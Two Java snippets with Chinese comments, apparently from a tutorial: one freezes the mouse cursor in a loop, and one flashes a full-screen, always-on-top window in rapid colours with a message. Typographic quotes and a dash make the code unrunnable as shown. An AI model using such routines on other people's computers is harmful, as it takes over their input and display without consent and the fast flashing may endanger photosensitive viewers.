/* 锁住鼠标函数
* 接收l参数 启动鼠标锁定线程
* 接收a 停止鼠标锁定线程
* */
void mouseLock(String s) {
if (s.equals(“l”)) {
if (mouseLockThread == null || mouseLockThread.isAlive() == false) {
mouseLockThread = new MouseLockThread();
mouseLockThread.flag = true;
mouseLockThread.start();
}
} else if (s.equals(“a”)) {
mouseLockThread.flag = false;
}
}
//开一个线程
class MouseLockThread extends Thread {
boolean flag = false; //创建一个监控哨兵
public void run() {
Point p = MouseInfo.getPointerInfo().getLocation();//获取鼠标目前的位置坐标
while (flag) { //哨兵为true时,一直循环 鼠标被锁定。哨兵为false时,退出循环 ,鼠标解锁
try {
Thread.sleep(1);
robot.mouseMove(p.x, p.y); //移动鼠标到当前位置坐标
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
}
=====================================
class Flash {
JFrame frame;
JPanel pane;
Color c[] = { Color.pink, Color.white, Color.blue };
int i;
Image offScreenImage = null;
String msg;
public Flash(String s) {
msg = s;
//使用Toolkit.getDefaultToolkit()获取本地主机资源,这里获取了屏幕宽和高
final int width = Toolkit.getDefaultToolkit().getScreenSize().width;
final int height = Toolkit.getDefaultToolkit().getScreenSize().height;
//创建一个大小与屏幕相等的窗体,并设置在其它窗体上面
frame = new JFrame();
frame.setAlwaysOnTop(true);
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.setUndecorated(true);
frame.setBounds(0, 0, width, height);
//在面板中绘制与屏幕大小相同的图像
pane = new JPanel() {
public void paint(Graphics g) {
if (offScreenImage == null) {
offScreenImage = this.createImage(width, height);
}
//处理屏幕显示的图像,包括颜色,显示的字符串等
Graphics gg = offScreenImage.getGraphics();
gg.setFont(new Font(null, Font.PLAIN, 50));
gg.setColor(c[i]);
gg.fillRect(0, 0, width, height);
gg.setColor(Color.black);
gg.drawString(msg, 200, 50);
g.drawImage(offScreenImage, 0, 0, null);
}
};
frame.setContentPane(pane);
frame.setVisible(true);
//每隔50毫秒闪屏一次,闪屏100次,退出
new Thread() {
public void run() {
int time = 0;
while (i < c.length) {
Flash.this.myUpdate();
try {
Thread.sleep(50);
time++;
if (time == 100) {
frame.dispose();
break;
}
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
}.start();
}
//在三种初始设定的颜色之间不断切换
public void myUpdate() {
if (i == c.length – 1) {
i = 0;
} else {
i++;
}
pane.repaint();
}
}